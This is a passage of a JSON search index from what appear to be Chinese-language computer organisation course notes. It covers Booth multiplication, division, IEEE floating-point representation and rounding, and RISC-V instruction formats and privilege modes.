Booth\u7b97\u6cd5\u4e2d\uff0c\u6bcf\u4e00\u6b21\u662f\u4e24\u4f4d\u4e24\u4f4d\u770b\uff0c\u5bf9\u4e8e\\(n\\)\u4f4d\u7684\uff0c\u9700\u8981\u8fdb\u884c\\(n\\)\u6b21\u64cd\u4f5c,\u4f46\u662f\u4e24\u4f4d\u4e24\u4f4d\u770b\u53ea\u80fd\u770b\u5230\\(n-1\\)\u4f4d\uff0c\u56e0\u6b64\u5f00\u59cb\u4e4b\u524d\u662f\u9700\u8981\u5728\u6700\u540e\u4e00\u4f4d\u52a0\u4e0a\u4e00\u4e2a 0 \u518d\u5f00\u59cb\u505a\u4e58\u6cd5\u7684</p> <p>\u6ce8\u610f\u79fb\u4f4d\u65f6\u4e0d\u8981\u6539\u53d8\u7b26\u53f7\u4f4d\u3002</p> <p>Example</p> <p> </p> <p>\u88ab\u4e58\u6570 Multiplicand \u662f 0010,  \u4e58\u6570 Multiplier \u662f 1101. \u6700\u5f00\u59cb\u5c06\u79ef 0000 \u653e\u5728\u9ad8\u56db\u4f4d, 1101 \u4f5c\u4e3a\u4e58\u6570\u653e\u5728\u4f4e\u56db\u4f4d\u3002 \u6700\u5f00\u59cb 10, \u5373\u6267\u884c\u51cf\u64cd\u4f5c, \\(0000-0010=1110\\). \u7b54\u6848\u4f9d\u7136\u653e\u5728\u9ad8\u56db\u4f4d\uff0c\u968f\u540e\u53f3\u79fb\uff0c\u4ee5\u6b64\u7c7b\u63a8\u3002 \u6ce8\u610f\u53f3\u79fb\u7684\u65f6\u5019\u662f \u7b97\u672f\u53f3\u79fb \uff0c\u5373\u7b26\u53f7\u4f4d\u4e0d\u53d8\u3002</p>"},{"location":"NOTE/CO/wk2/#faster-multiplication","title":"Faster Multiplication","text":"<p>32 \u4f4d\u6570\u4e58 32 \u4f4d\u6570\uff0c\u76f8\u5f53\u4e8e 32 \u4e2a 32 \u4f4d\u6570\u76f8\u52a0\u3002\uff08\u5e76\u884c\u52a0\u901f\uff09</p>"},{"location":"NOTE/CO/wk2/#division","title":"Division","text":"\\[ Dividend  = quotient \\times Divisor + Reminder \\] Version <ul> <li>At At first the divisor is in the left half of the divisor register,the dividend is in the right half of the remainder register.</li> <li>Shift the divisor right each step   \u5373\u5bf9\u6bcf\u4e00\u6b65\uff0c\u90fd\u5728\u4f59\u6570\u4e2d\u51cf\u53bb\u9664\u6570\uff0c\u5982\u679c\u7ed3\u679c\u5927\u4e8e\u7b49\u4e8e0\uff0c\u90a3\u4e48\u5546\u5de6\u79fb\u4e0a1\uff0c\u5426\u5219\u5c06\u7ed3\u679c\u52a0\u56de\u53bb\uff0c\u5546\u5de6\u79fb\u4e0a0\u3002   </li> </ul> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f,\u7531\u4e8e\u4e00\u5f00\u59cbremainder\u5bc4\u5b58\u5668\u53f3\u8fb9\u662f\u88ab\u9664\u6570\uff0cdivisor\u5bc4\u5b58\u5668\u5de6\u534a\u8fb9\u662f\u9664\u6570\uff0c\u524d\u5f88\u591a\u6b21\u7684\u7ed3\u679c\u90fd\u662f\u8d1f\u7684</p> <p>7 / 2</p> <p>\\(00000111 / 0010\\) </p> Version <p>\u4f18\u5316\u8fc7\u7a0b\u4e0e\u4e58\u6cd5\u7c7b\u4f3c\uff0c\u56e0\u4e3a\u6bcf\u6b21\u90fd\u662fremainder\u7684\u6700\u9ad8\u4f4d\u5728\u51cf\uff0c\u51cf\u5b8c\u5c31\u6ca1\u7528\u4e86\uff0c\u53ef\u4ee5\u79fb\u51fa\u53bb\uff0c\u4e0d\u518d\u53f3\u79fbdivisor\uff0c\u800c\u662f\u5de6\u79fbremainder\uff0c\u5e76\u4e14\u5c06quotient\u4e5f\u5b58\u5728Remainder\u5bc4\u5b58\u5668\u6bcf\u6b21\u5de6\u79fb\u4ea7\u751f\u7684\u7a7a\u4f4d\u4e2d   \u5982\u4e0b  </p> <p>Key-point</p> <p>remainder \u5bc4\u5b58\u5668\u5176\u5b9e\u8981\u591a\u4e00\u4f4d\u7684\uff0c\u56e0\u4e3a\u6700\u540e\u4e00\u6b65\u8981\u53f3\u79fb\uff0c\u4e0d\u80fd\u76f4\u63a5\u628a\u5b83\u4e22\u6389</p> <p>Eg</p> <p>  4.1 \u65f6\u5176\u5b9e\u6211\u4eec\u5df2\u7ecf\u7ed3\u675f\u4e86\u9664\u6cd5\u64cd\u4f5c\uff0c\u6b64\u65f6\u7684\u9ad8\u4f4d\u5c31\u662f\u6211\u4eec\u7684\u4f59\u6570\uff0c\u4f46\u662f\u8fd9\u6700\u540e\u4e00\u6b21\u7684\u7ed3\u679c\u8fd8\u6ca1\u6709\u653e\u56de\u5230 Reminder \u4e2d\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u518d\u5f80\u5de6\u79fb\u4e00\u4f4d\u4e3a\u5546\u7559\u51fa\u7a7a\u95f4\uff0c\u653e\u5165\u540e\uff0c\u518d\u628a\u9ad8\u4f4d\u4f59\u6570\u5f80\u53f3\u79fb\u52a8\u4ee5\u62b5\u6d88\u5f71\u54cd\u3002</p> <p>!!!question \"\u4e3a\u4ec0\u4e48\u9664\u6cd5\u7684\u79fb\u4f4d\u8fd9\u4e48\u5947\u602a\u201c     \u5bf9\u4e8eVersion1\uff0c\u8981\u8fdb\u884c \\(n+1\\) \u6b21\u7684\u79fb\u4f4d\uff0c\u662f\u4e3a\u4e86\u5728\u6700\u540e\u4e00\u6b65\u5c06\u5546\u8865\u5168\uff0c\u540c\u65f6\u4e5f\u62b5\u6d88\u6700\u540e\u4e00\u6b65\u7684\u5f71\u54cd\u6765\u6ee1\u8db3\u4f59\u6570\u7684\u6b63\u786e\u6027\uff1b     \u5bf9\u4e8eVersion2\uff0c\u8981\u8fdb\u884c\u7b2c\u4e00\u6b21\u7684\u6574\u4f53\u5de6\u79fb\u662f\u4e3a\u4e86\u5f97\u5230\u6b63\u786e\u7684\u4f59\u6570\uff0c\u800c\u5728\u6700\u540e\u4e00\u6b65\u4e2d\uff0c\u7531\u4e8e\u5546\u8fd8\u8981\u8fdb\u6765\uff0c\u4f59\u6570\u4f1a\u591a\u51fa\u4e00\u4f4d\uff0c\u56e0\u6b64\u8981\u5de6\u534a\u90e8\u5206\u53f3\u79fb\u4e00\u4f4d\u3002</p> <p>\u5bf9\u4e8e\u6709\u7b26\u53f7\u6570\u7684\u9664\u6cd5\uff0c\u7528\u7edd\u5bf9\u503c\u6765\u505a\uff0c\u7136\u540e\u5728\u7ed3\u679c\u4e0a\u52a0\u4e0a\u7b26\u53f7\u4f4d</p> <p>sign of quotient = sign of dividend \\(\\oplus\\) sign of divisor</p> <p>sign of remainder = sign of dividend</p>"},{"location":"NOTE/CO/wk2/#floating-point-number","title":"Floating point number","text":"\u8fdb\u5236\u8f6c\u6362 <p>\u4e8c\u8fdb\u5236\u5c0f\u6570\u8f6c\u5341\u8fdb\u5236\uff0c\u5982\u679c\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u53ef\u4ee5\u5148\u4eff\u7167\u5341\u8fdb\u5236\u7684\u79d1\u5b66\u8ba1\u6570\u6cd5\u7528\u6307\u6570\u8fdb\u884c\u5c0f\u6570\u70b9\u7684\u79fb\u52a8\uff0c\u7136\u540e\u518d\u8f6c\u6362\uff0c\u8fd9\u6837\u53ef\u4ee5\u51cf\u5c11\u8ba1\u7b97\u5c0f\u6570\u7684\u6b21\u6570\u3002</p> <p>\u5341\u8fdb\u5236\u8f6c\u6362\u4e8c\u8fdb\u5236\uff0c\u53ef\u4ee5\u5148\u8f6c\u6362\u6574\u6570\u90e8\u5206\uff0c\u518d\u8f6c\u6362\u5c0f\u6570\u90e8\u5206\uff0c\u5c0f\u6570\u90e8\u5206\u53ef\u4ee5\u4f9d\u6b21\u4e0e\\(2^{-n}\\)\u6bd4\u8f83\uff0c\u5982\u679c\u5927\u4e8e\u7b49\u4e8e\uff0c\u90a3\u4e48\u7ed3\u679c\u7684\u7b2c n \u4f4d\u4e3a 1\uff0c\u5426\u5219\u4e3a 0\uff0c\u4e0a\u4e86 1 \u4e4b\u540e\uff0c\u8981\u51cf\u53bb \\(2^{-n}\\)\uff0c\u518d\u7ee7\u7eed\u6bd4\u8f83\uff0c\u76f4\u5230\u8fbe\u5230\u7cbe\u5ea6\u7684\u8981\u6c42\u3002</p> S exp frac Float(\u4f4d\u6570) 1 8 23 Double(\u4f4d\u6570) 1 11 52 <p>Normalized form: \\(N=(-1)^S\\times M\\times 2^E\\) </p> <ul> <li>S: sign. \\(S=1\\) indicates the number is negative.</li> <li>M: \u5c3e\u6570. Normally, \\(M=1.frac=1+frac\\).</li> <li>E: \u9636\u7801. Normally, \\(E=exp-Bias\\) where \\(Bias=127\\) for floating point numbers. \\(Bias = 1023\\) for double. </li> </ul> <p>Key-point</p> <ul> <li>\u4e3a\u4ec0\u4e48\u8981\u628a exponent \u653e\u5728\u524d\u9762\uff1f\uff08\u56e0\u4e3a\u6570\u7684\u5927\u5c0f\u4e3b\u8981\u7531 exponent \u51b3\u5b9a\u3002\uff09</li> <li>\u4e3a\u4ec0\u4e48\u9700\u8981 Bias\uff1f\uff08\u79fb\u7801\uff09\u53ef\u4ee5\u4e0d\u4fdd\u5b58\u8d1f\u6570\uff0c\u7528\u7684\u662fIEEE\u6807\u51c6\uff0c\u5373\u5bf9\u4e8e8\u4f4d\u7684\u79fb\u7801\uff0c\\(Bias=2^{7}-1=127\\)\uff0c\u5bf9\u4e8e11\u4f4d\u7684\u79fb\u7801\uff0c\\(Bias=2^{10}-1=1023\\)\u3002 </li> <li>\u4ee5\u4e0a\u662f\u89c4\u683c\u5316\u6570\uff0c\u5c3e\u6570\u524d\u5e94\u8be5\u6709\u524d\u5bfc 1\uff0c\u5c31\u7c7b\u4f3c\u4e8e\u5341\u8fdb\u5236\u7684\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u524d\u5bfc\u5fc5\u987b\u5927\u4e8e0\u5c0f\u4e8e10.\u5bf9\u4e8e2\u8fdb\u5236\uff0c\u524d\u5bfc\u5fc5\u987b\u5927\u4e8e0\u5c0f\u4e8e2\uff0c\u4e5f\u5c31\u662f1.</li> </ul>"},{"location":"NOTE/CO/wk2/#denormal-numbers","title":"Denormal Numbers","text":"<ul> <li>\\(Exponent=000\\ldots 0\\)  \u975e\u89c4\u683c\u5316\u6570\uff0c\u8ba9\u6570\u5728\u8f83\u5c0f\u65f6\u80fd\u9010\u6e10\u4e0b\u6ea2\u51fa\uff0c\u5728Exponent\u7684\u90e8\u5206\u4ee5\u5168\u96f6\u4f5c\u4e3a\u4fdd\u7559\u5b57\uff0c\u4f46\u662f\u5e76\u4e0d\u4ee3\u8868\u6307\u6570\u662f0\uff0c\u800c\u662f\u8bf4\u6b64\u65f6\u7684\u5c0f\u6570\u4e0d\u662f1.xxxx\u800c\u662f0.xxxx\u3002   \\(x=(-1)^s\\times((0+Fraction)\\times 2^{1-Bias})\\) \u6ce8\u610f\u6b64\u65f6\u6307\u6570\u662f \\(1-Bias=-126/-1022\\).   </li> </ul>"},{"location":"NOTE/CO/wk2/#precision","title":"Precision","text":"<ul> <li>signle: approx \\(2^{-23}\\) \\(23\\times \\log_{10}{2} \\approx 23\\times 0.3 \\approx 7\\) demical digits of precision.  </li> <li>double: approx \\(2^{-52}\\) \\(52\\times \\log_{10}{2}\\approx 52\\times 0.3 \\approx 16\\) demical digits of preicsion.</li> </ul>"},{"location":"NOTE/CO/wk2/#limitations","title":"Limitations","text":"<ul> <li>Overflow: The number is too big to be represented</li> <li>Underflow: The number is too small to be represented</li> </ul>"},{"location":"NOTE/CO/wk2/#floating-point-addition","title":"Floating-Point Addition","text":"<ul> <li> <p>Alignment \u7edf\u4e00\u6307\u6570\uff0c\u4e00\u822c\u5c0f\u7684\u5f80\u5927\u7684\u53d8\u3002\u56e0\u4e3a\u7cfb\u7edf\u7cbe\u5ea6\u4f4d\u6570\u6709\u9650\uff0c\u5982\u679c\u5c06\u5927\u7684\u5f80\u5c0f\u7684\u53d8\uff0c\u90a3\u53ef\u80fd\u4f1a\u56e0\u6b64\u635f\u5931\u8f83\u5927\u3002  </p> Example <p> </p> </li> <li> <p>The proper digits have to be added  </p> </li> <li>Addition of significands</li> <li>Normalization of the result</li> <li>Rounding</li> </ul> Example <p> </p> <p>FP Adder Hardware </p> <ul> <li>step 1 \u5728\u9009\u62e9\u6307\u6570\u5927\u7684\uff0c\u5e76\u8fdb\u884c\u5bf9\u9f50\u3002\u540c\u65f6\u5c3e\u6570\u53ef\u80fd\u8fd8\u8981\u52a0\u4e0a\u524d\u5bfc 1. </li> <li>step 3 \u662f\u5bf9\u7ed3\u679c\u8fdb\u884c\u6807\u51c6\u5316\u3002</li> <li>\u84dd\u8272\u7ebf\u4e3a\u63a7\u5236\u901a\u8def\uff0c\u9ed1\u8272\u7ebf\u4e3a\u6570\u636e\u901a\u8def\u3002</li> </ul>"},{"location":"NOTE/CO/wk2/#floating-point-multiplication","title":"Floating-Point Multiplication","text":"<p>\\((s1\\cdot 2^{e1}) \\cdot (s2\\cdot 2^{s2}) = (s1\\cdot s2)\\cdot 2^{e1+e2}\\)</p> <ul> <li>Add exponents</li> <li>Multiply the significands</li> <li>Normalize</li> <li>Over/Underflow? \u6709\u7684\u8bdd\u8981\u629b\u51fa\u5f02\u5e38\uff0c\u901a\u8fc7\u7ed3\u679c\u7684\u6307\u6570\u5224\u65ad\u3002</li> <li>Rounding</li> <li>Sign</li> </ul> <p>\u6ce8\u610f</p> <p>Exponet \u4e2d\u662f\u6709 Bias \u7684\uff0c\u4e24\u4e2a\u6570\u7684 exp \u90e8\u5206\u76f8\u52a0\u540e\u8fd8\u8981\u518d\u51cf\u53bb Bias. </p> Example <p> </p> <p>Data Flow</p> <ul> <li>\u53f3\u8fb9\u5f80\u56de\u7684\u7bad\u5934: Rounding \u540e\u53ef\u80fd\u4f1a\u8fdb\u4f4d\u3002</li> <li>Incr \u7528\u4e8e\u6807\u51c6\u5316\u7ed3\u679c\uff0c\u4e0e\u53f3\u4fa7 Shift Right \u914d\u5408\u3002</li> </ul>"},{"location":"NOTE/CO/wk2/#accurate-arithmetic","title":"Accurate Arithmetic","text":"<ul> <li>Extra bits of precision (guard, round, sticky)<ul> <li>guard, round \u4e3a\u4e86\u4fdd\u8bc1\u56db\u820d\u4e94\u5165\u7684\u7cbe\u5ea6\u3002 \u7ed3\u679c\u6ca1\u6709\uff0c\u53ea\u5728\u8fd0\u7b97\u7684\u8fc7\u7a0b\u4e2d\u4fdd\u7559</li> <li>sticky \u672b\u5c3e\u5982\u679c\u4e0d\u4e3a\u5168 0, \u5219 sticky \u4f4d\u4e3a 1, \u5426\u5219\u4e3a 0.</li> </ul> </li> </ul> <p>Example</p> <p>Guard, round, sticky \u4f4d\u7684\u4f5c\u7528 \u4fdd\u7559\u4f4d\u548c\u820d\u5165\u4f4d\u7684\u4f5c\u7528\u53ef\u4ee5\u63d0\u9ad8\u7cbe\u5ea6\uff0c\u4f8b\u5982\u5341\u8fdb\u5236\u4e2d\u5982\u679c\u52a0\u4e0a\u820d\u5165\u4f4d\uff0c\u90a3\u4e48\u572851\u548c99\u4e4b\u95f4\u7684\u4f1a\u5411\u4e0a\u820d\u5165\uff0c\u800c\u572850\u548c00\u4e4b\u95f4\u7684\u4f1a\u5411\u4e0b\u820d\u5165\uff0c\u8fd9\u6837\u53ef\u4ee5\u51cf\u5c11\u8bef\u5dee\u3002 \u4f8b\u59822.34+0.0256=2.3656,\u820d\u5165\u4e3a2.37\uff0c\u800c2.34+0.02=2.36\uff0c\u820d\u5165\u4e3a2.36\uff0c\u5b58\u57281ulp\u7684\u8bef\u5dee\uff1b \u5728\u6709\u4e9b\u60c5\u51b5\u4e0b\uff0c\u7ed3\u679c\u5de6\u79fb\u4e4b\u540e\u5c06\u4fdd\u62a4\u4f4d\u53d8\u6210\u4e86\u6700\u4f4e\u4f4d\uff0c\u53ea\u5269\u4e0b\u820d\u5165\u4f4d\u4e00\u4f4d\u6765\u8fdb\u884c\u820d\u5165\uff0c\u8fd9\u6837\u4f1a\u5bfc\u81f4\u8bef\u5dee\u589e\u5927\uff0c\u800c\u52a0\u4e0asticky\u4f4d\uff0c\u53ef\u4ee5\u4fdd\u8bc1\u5728\u820d\u5165\u4f4d\u540e\u9762\u7684\u4f4d\u6570\u4e0d\u4e3a0\u65f6\uff0c\u820d\u5165\u4f4d\u4e0d\u4f1a\u88ab\u820d\u53bb\uff0c\u4ece\u800c\u63d0\u9ad8\u7cbe\u5ea6\u3002\u4f8b\u5982\u5982\u679c\u662f2.34+0.0050001\uff0c\u5982\u679c\u6ca1\u6709sticky\u4f4d\uff0c\u90a3\u4e48\u7ed3\u679c\u662f2.3450\uff0c\u820d\u5165\u5230\u6700\u8fd1\u7684\u5076\u65702.34\uff0c\u800c\u6709\u4e86sticky\u4f4d\uff0c\u77e5\u9053\u7ed3\u679c\u662f\u6bd42.3450\u5927\uff0c\u820d\u5165\u5230\u6700\u8fd1\u7684\u5076\u65702.35\u3002</p> <p>\u5728\u4e8c\u8fdb\u5236\u4e2d\uff0c\u5c31\u662f1\u8fdb0\u820d\uff0c\u4f8b\u5982\u5c0f\u6570\u70b9\u540e\u7b2c\u4e09\u4f4d\u4e3a\u6700\u4f4e\u4f4d\u76841.100_10+0.000_00_11111=1.100_10\uff0c\u6b64\u65f6Guard\u4f4d\u4e3a1\uff0cRound\u4f4d\u4e3a0\uff0cSticky\u4f4d\u4e3a1,\u5982\u679c\u6ca1\u6709sticky\u4f4d\uff0c\u90a3\u4e48\u7ed3\u679c\u5c31\u662f\u820d\u5165\u5230\u6700\u8fd1\u7684\u5076\u65701.100\uff0c\u800c\u6709\u4e86sticky\u4f4d\uff0c\u77e5\u9053\u7ed3\u679c\u662f\u6bd41.100_10\u5927\uff0c\u820d\u5165\u52301.101\u3002</p> <p>Key-point</p> <p>\u603b\u7684\u6765\u8bf4\uff0cG\u4f4d\u5982\u679c\u7b49\u4e8e\u8fdb\u5236\u7684\u4e00\u534a\uff0c\u5219\u770b\u5b83\u7684\u4e0b\u4e00\u4f4dR\u4f4d\uff0c\u5982\u679cR\u4f4d\u5927\u4e8e0\u4e86\uff0c\u90a3\u4e48\u8fdb\u4f4d\uff0c\u5982\u679c\u4e3a0\uff0c\u90a3\u4e48\u770bS\u4f4d\uff0c\u5982\u679cS\u4f4d\u5927\u4e8e0\uff0c\u90a3\u4e48\u8fdb\u4f4d\u3002\u5982\u679cRS\u4f4d\u90fd\u662f0\u4e86\uff0c\u90a3\u4e48\u9009\u62e9\u6700\u8fd1\u7684\u5076\u6570\u6765\u8fdb\u4f4d\u3002(LSB\u662f\u5947\u6570\uff0c\u8fdb\u4f4d\uff1bLSB\u662f\u5076\u6570\uff0c\u820d\u53bb\u5c41\u80a1\u540e\u9762\u7684)</p> <p>\u635f\u5931\u4e0d\u4f1a\u8d85\u8fc7 0.5 \u4e2a ulp. </p>"},{"location":"NOTE/CO/wk2/#instruction","title":"instruction","text":"\u5bc4\u5b58\u5668 ABI \u540d\u79f0 \u7528\u9014\u63cf\u8ff0 saver x0 zero \u786c\u4ef6 0 x1 ra \u8fd4\u56de\u5730\u5740\uff08return address\uff09 caller x2 sp \u6808\u6307\u9488\uff08stack pointer\uff09 callee x3 gp \u5168\u5c40\u6307\u9488\uff08global pointer\uff09 x4 tp \u7ebf\u7a0b\u6307\u9488\uff08thread pointer\uff09 x5 t0 \u4e34\u65f6\u53d8\u91cf/\u5907\u7528\u94fe\u63a5\u5bc4\u5b58\u5668\uff08alternate link reg\uff09 caller x6-7 t1-2 \u4e34\u65f6\u53d8\u91cf caller x8 s0/fp \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668/\u5e27\u6307\u9488\uff08frame pointer\uff09 callee x9 s1 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x10-11 a0-1 \u51fd\u6570\u53c2\u6570/\u8fd4\u56de\u503c caller x12-17 a2-7 \u51fd\u6570\u53c2\u6570 caller x18-27 s2-11 \u9700\u8981\u4fdd\u5b58\u7684\u5bc4\u5b58\u5668 callee x28-31 t3-6 \u4e34\u65f6\u53d8\u91cf caller <ul> <li>R-Type: add, sub, and, or, xor, slt, srl, sll, sra, sltu</li> <li>I-Type: addi, andi, ori, xori, srli, slti, slli, srai, sltiu, lb, lh, lw, lbu, lhu, jalr,(CSR\u6307\u4ee4\u4e0eecall, ebreak\u7b49\u6309I\u578b\u7acb\u5373\u6570\u5904\u7406\uff0c\u4f46\u662fOPCODE\u662fsystem)</li> <li>S-Type: sb, sh, sw</li> <li>B-Type: beq, bne, blt, bge, bltu, bgeu</li> <li>J-Type: jal</li> <li>U-Type: lui, auipc</li> </ul> R-typeI-typeB-typeU-typeJ-typeS-type <p> 31 25 24 20 19 15 14 12 11 7 6 0 funct7 rs2 rs1 funct3 rd opcode </p> <p><code>rd = rs1 op rs2</code>,\u6709\u65f6\u5019<code>rs1</code>,<code>rs2</code>,\u53c8\u79f0\u4e3a<code>rs</code>,<code>rt</code></p> <p> 31 20 19 15 14 12 11 7 6 0 imm[11:0] rs1 funct3 rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a  <pre><code> imm={{20{inst[31]}}, inst[31:20]}\n</code></pre></p> <p> 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 funct3 imm[4:1,11] opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{19{inst[31]}}, inst[31], inst[7], inst[30:25], inst[11:8], 1'b0}\n</code></pre> \u6700\u4f4e\u4f4d\u4e3a0\uff0c\u4e0d\u5b58\uff1b\u6269\u5c55\u5230imm[12]\u4f4d\uff1b\u5c0613\u4f4d\u62fc\u63a5\u5b8c\u540e\uff0c\u5269\u4e0b\u9ad819\u4f4d\u7528<code>inst[31]</code>\u7b26\u53f7\u4f4d\u586b\u5145,\u6b64\u65f6imm[11]\u53ef\u4ee5\u4e0d\u662f\u7b26\u53f7\u4f4d\uff1bimm[12]\u662f\u7b26\u53f7\u4f4d</p> <p> 31 12 11 7 6 0 imm[31:12] rd opcode </p> <p>\u6ca1\u6709\u6e90\u64cd\u4f5c\u6570\uff0c\u53ea\u6709\u76ee\u7684\u64cd\u4f5c\u6570\uff0c\u7acb\u5373\u6570\u4e3a <pre><code>imm={inst[31:12], 12'b0}\n</code></pre></p> <p> 31 12 11 7 6 0 imm[20,10:1,11,19:12] rd opcode </p> <p>\u7acb\u5373\u6570\u4e3a <pre><code>imm={{11{inst[31]}}, inst[31], inst[19:12], inst[20], inst[30:21], 1'b0}\n</code></pre> <code>imm</code>\u6700\u4f4e\u4f4d0\u4e0d\u5b58\uff0c\u6b64\u65f6<code>imm[20]</code>\u662f\u7b26\u53f7\u4f4d\uff0c<code>imm</code>\u76f8\u5f53\u4e8e21\u4f4d\u6709\u7b26\u53f7\u6570 ,\u8df3\u8f6c\u8303\u56f4\u662f\\(\\pm 2^{20}\\)</p> <p>store \u7c7b\u6307\u4ee4\uff0c\u5c06\u5bc4\u5b58\u5668\u4e2d\u7684\u6570\u636e\u5b58\u50a8\u5230\u5185\u5b58\u4e2d\uff0c\u5b58\u50a8\u7684\u5927\u5c0f\u7531<code>func3</code>\u51b3\u5b9a,\u6ca1\u6709<code>rd</code>\u5bc4\u5b58\u5668  31 25 24 20 19 15 14 12 11 7 6 0 imm[11:5] rs2 rs1 funct3 imm[4:0] opcode  \u7acb\u5373\u6570\u4e3a <pre><code>imm = {{20{inst[31]}}, inst[31:25], inst[11:7]}\n</code></pre> \u5c06<code>rd</code>\u76845\u4f4d\u548c<code>func7</code>\u76847\u4f4d\u4e00\u517112\u4f4d\u7ec4\u5408\u6210\u4e00\u4e2a\u7acb\u5373\u6570</p> <p>RISC-V \u6307\u4ee4\u96c6\u6709\u4e09\u79cd\u7279\u6743\u6a21\u5f0f\uff0c\u5206\u522b\u662f Machine\uff08M\uff09\u3001Supervisor\uff08S\uff09\u548c User\uff08U\uff09\uff0c\u9664\u6b64\u4e4b\u5916\u8fd8\u6709 Hypervisor\uff08H\uff09\u6a21\u5f0f</p> \u7b49\u7ea7 \u7f16\u7801 \u540d\u79f0 \u7f29\u5199 0 00 User/Application U 1 01 Supervisor S 2 10 Hypervisor H 3 11 Machine M <ul> <li>M \u6a21\u5f0f\u662f\u5bf9\u786c\u4ef6\u64cd\u4f5c\u7684\u62bd\u8c61\uff0c\u6709\u6700\u9ad8\u7ea7\u522b\u7684\u6743\u9650\u3002</li> <li>S \u6a21\u5f0f\u4ecb\u4e8eM\u6a21\u5f0f\u548cU\u6a21\u5f0f\u4e4b\u95f4\uff0c\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u5bf9\u5e94\u4e8e\u5185\u6838\u6001\uff08Kernel\uff09\u3002\u5f53\u7528\u6237\u9700\u8981\u5185\u6838\u8d44\u6e90\u65f6\uff0c\u5411\u5185\u6838\u7533\u8bf7\uff0c\u5e76\u5207\u6362\u5230\u5185\u6838\u6001\u8fdb\u884c\u5904\u7406\u3002</li> <li>U \u6a21\u5f0f\u7528\u4e8e\u6267\u884c\u7528\u6237\u7a0b\u5e8f\uff0c\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u5bf9\u5e94\u4e8e\u7528\u6237\u6001\uff0c\u6709\u6700\u4f4e\u7ea7\u522b\u7684\u6743\u9650\u3002</li> </ul> <p>\u7b80\u5355\u5d4c\u5165\u5f0f\u7cfb\u7edf\u5e94\u8be5\u81f3\u5c11\u6709 M \u6a21\u5f0f\uff0c\u5b89\u5168\u7684\u5d4c\u5165\u5f0f\u7cfb\u7edf\u81f3\u5c11\u8981\u6709 M\u3001U \u4e24\u4e2a\u6a21\u5f0f\uff0cUnix-like \u64cd\u4f5c\u7cfb\u7edf\u81f3\u5c11\u8981\u6709 M\u3001S\u3001U \u4e09\u4e2a\u6a21\u5f0f\u3002</p> <p>\u7279\u6743\u6a21\u5f0f\u7528\u6765\u5206\u79bb\u3001\u4fdd\u62a4\u4e0d\u540c\u7684\u8fd0\u884c\u73af\u5883\u3002\u8bd5\u56fe\u5728\u4f4e\u7279\u6743\u6a21\u5f0f\u4e0b\u6267\u884c\u9ad8\u7279\u6743\u6a21\u5f0f\u7684\u6307\u4ee4\u4f1a\u5bfc\u81f4\u5f02\u5e38\u3002</p> <p>\u4e00\u4e2a hart\uff08RISC-V hardware thread\uff0c\u6307 RISC-V \u5904\u7406\u5668\u7684\u4e00\u4e2a\u6267\u884c\u5355\u5143\uff09\u4e00\u822c\u5728 U \u6a21\u5f0f\u4e0b\u8fd0\u884c\u5e94\u7528\u7a0b\u5e8f\uff0c\u76f4\u5230\u9047\u5230 trap\uff08\u6bd4\u5982\u7cfb\u7edf\u8c03\u7528\u3001\u65f6\u95f4\u4e2d\u65ad\u7b49\uff09\uff0c\u8fd9\u65f6 hart \u4f1a\u5207\u6362\u5230\u66f4\u9ad8\u7279\u6743\u7ea7\u7684 trap handler\uff0c\u6267\u884c\u5b8c\u540e\u518d\u5207\u6362\u56de\u4f4e\u6743\u9650\u6a21\u5f0f\u7ee7\u7eed\u6267\u884c\u3002</p> <p>\u9664\u6b64\u4e4b\u5916\uff0cRISC-V \u8fd8\u89c4\u5b9a\u4e86 Debug mode\uff08D-mode\uff09\uff0c\u7528\u4e8e\u8c03\u8bd5\uff0c\u5b83\u6bd4 M \u6a21\u5f0f\u6709\u66f4\u9ad8\u7684\u6743\u9650\uff0c\u6709\u4e00\u4e9b\u53ea\u6709 D \u6a21\u5f0f\u624d\u53ef\u4ee5\u8bbf\u95ee\u7684 CSR \u5bc4\u5b58\u5668\uff0c\u4e5f\u4f1a\u4fdd\u7559\u4e00\u4e9b\u7269\u7406\u5730\u5740\u7a7a\u95f4\u3002</p>"},{"location":"NOTE/CO/wk3/","title":"Instructions: Language of the Computer","text":"<p> \u7ea6 2804 \u4e2a\u5b57  5 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 10 \u5206\u949f</p> <p>Thanks</p> <p>\u672c\u8282\u7b14\u8bb0\u4e2d\u4f7f\u7528\u5230\u7684RISC-V\u6307\u4ee4\u8868\u683c\u6837\u5f0f\u6765\u81ea@TonyCrane </p>"},{"location":"NOTE/CO/wk3/#introduction","title":"Introduction","text":"<ul> <li> <p>Language of  the machine</p> <ul> <li>Instructions(\u6307\u4ee4)</li> <li>Instruction set(\u6307\u4ee4\u96c6)</li> </ul> </li> <li> <p>Computer Designer  goals</p> <ul> <li>Find a language that makes it easy to build hardware and compiler.(\u7b80\u5355\u6613\u7528)</li> <li>Maximize performance(\u540c\u6837\u7684\u8d44\u6e90\u6027\u80fd\u66f4\u597d)</li> <li>Minimize cost &amp; energy (\u540c\u6837\u7684\u6027\u80fd\u6210\u672c\u66f4\u4f4e)</li> <li>Clarity of its application  (\u6613\u7528)</li> <li>Simplicity:  reduce design time (\u4fbf\u4e8e\u8bbe\u8ba1)</li> </ul> </li> </ul> <p>Our chosen instruction set: RISC V</p> \u5404\u79cd\u6307\u4ee4\u96c6\u7684\u533a\u522b <p></p> <p>Von Neumann\u2019 Computer</p> <p>\u5982\u4eca\u7684\u8ba1\u7b97\u673a\u662f\u57fa\u4e8e\u4e24\u4e2a\u6838\u5fc3\u539f\u7406\u6784\u5efa\u7684\uff1a\u5b58\u50a8\u7a0b\u5e8f\u6982\u5ff5\u3002 \u8fd9\u4e24\u4e2a\u539f\u7406\u5206\u522b\u662f\uff1a</p> <ul> <li>\u6307\u4ee4\u88ab\u8868\u793a\u4e3a\u6570\u5b57\uff1b</li> 